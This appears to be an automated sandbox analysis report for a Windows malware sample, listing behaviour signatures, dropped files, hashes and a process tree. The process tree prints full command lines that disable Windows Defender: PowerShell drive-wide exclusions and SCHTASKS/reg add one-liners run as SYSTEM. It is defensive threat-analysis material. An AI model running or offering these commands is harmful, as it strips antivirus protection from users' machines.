Analysis

  • max time kernel
    151s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 02:28

General

  • Target
    inst_smt009.exe
  • Size 55.2MB
  • Sample260805-cx8gpscb68
  • SHA256 2f31d5310132d4c049891078569da2dababc3d4273d6ccf9b24d2b035fe0263e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt009.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt009.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1256
  • C:\Users\Public\v3Pbb7\JRkgoM.exe
    "C:\Users\Public\v3Pbb7\JRkgoM.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4956
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\v3Pbb7\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3692
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\v3Pbb7\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4872
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5704
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3824
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4320
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2320
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4340
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2292
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4504
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5740
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2204
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2928
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3320
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3216
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3148
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5988
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1268
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3000
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1300
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5184
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\v3Pbb7" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3176
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\v3Pbb7" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5648
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:3888
                        • C:\Users\Public\v3Pbb7\JRkgoM.exe
                          "C:\Users\Public\v3Pbb7\JRkgoM.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:6060
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4208
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5936
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2460
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5928

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              JRkgoM.exe

                              • Path C:\Users\Public\v3Pbb7\JRkgoM.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\v3Pbb7\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 459006d4c63651bce3a2deaccf3a06db332c2e7dc016f850255352210a55ca20
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\v3Pbb7\adoresd.dat
                              • Size 4.7MB
                              • SHA256 ac4bec069c42cf7812597f183bc874851f6e12cff2e09549d4877cdfbcac7712
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\v3Pbb7\msadox.tb
                              • Size 8KB
                              • SHA256 a4e2d992578e583d5bdbe43e06da65d65f059a4e3e05d84301654ee74100db4c
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1256-1-0x0000000000570000-0x000000000057D000-memory.dmp

                              memory/1256-2-0x0000000000580000-0x000000000058B000-memory.dmp

                              memory/1256-504-0x00007FF87CF70000-0x00007FF87CF82000-memory.dmp

                              memory/1256-524-0x0000000000570000-0x000000000057D000-memory.dmp

                              memory/1256-525-0x00007FF87CF70000-0x00007FF87CF82000-memory.dmp

                              memory/1256-0-0x0000000000570000-0x000000000057D000-memory.dmp

                              memory/4572-556-0x00000269691C0000-0x000002696920E000-memory.dmp

                              memory/4572-564-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-536-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-543-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-539-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-538-0x00007FF885220000-0x00007FF885222000-memory.dmp

                              memory/4572-544-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-546-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-545-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-550-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-530-0x00007FF885210000-0x00007FF885212000-memory.dmp

                              memory/4572-558-0x000002696A540000-0x000002696A5CA000-memory.dmp

                              memory/4572-561-0x000002696A540000-0x000002696A5CA000-memory.dmp

                              memory/4572-560-0x000002696A540000-0x000002696A5CA000-memory.dmp

                              memory/4572-557-0x000002696A540000-0x000002696A5CA000-memory.dmp

                              memory/4572-531-0x00007FF8625A0000-0x00007FF862ABE000-memory.dmp

                              memory/4572-566-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4572-567-0x0000026969CA0000-0x000002696A531000-memory.dmp

                              memory/4956-590-0x000001BEEB0B0000-0x000001BEEB0D2000-memory.dmp

                              memory/4956-596-0x000001BEEAC50000-0x000001BEEAC5A000-memory.dmp

                              memory/4956-595-0x000001BEEB100000-0x000001BEEB1B2000-memory.dmp

                              memory/4956-594-0x000001BEEB0E0000-0x000001BEEB0FE000-memory.dmp

                              memory/6060-585-0x00000227FD7D0000-0x00000227FE061000-memory.dmp

                              memory/6060-586-0x00000227FD7D0000-0x00000227FE061000-memory.dmp

                              memory/6060-589-0x00007FF885210000-0x00007FF885212000-memory.dmp

                              memory/6060-588-0x00000227FD7D0000-0x00000227FE061000-memory.dmp

                              memory/6060-587-0x00000227FD7D0000-0x00000227FE061000-memory.dmp

                              memory/6060-582-0x00000227FD7D0000-0x00000227FE061000-memory.dmp

                              memory/6060-573-0x00007FF8625A0000-0x00007FF862ABE000-memory.dmp

                              memory/6060-580-0x00007FF885220000-0x00007FF885222000-memory.dmp

                              memory/6060-576-0x00000227FD7D0000-0x00000227FE061000-memory.dmp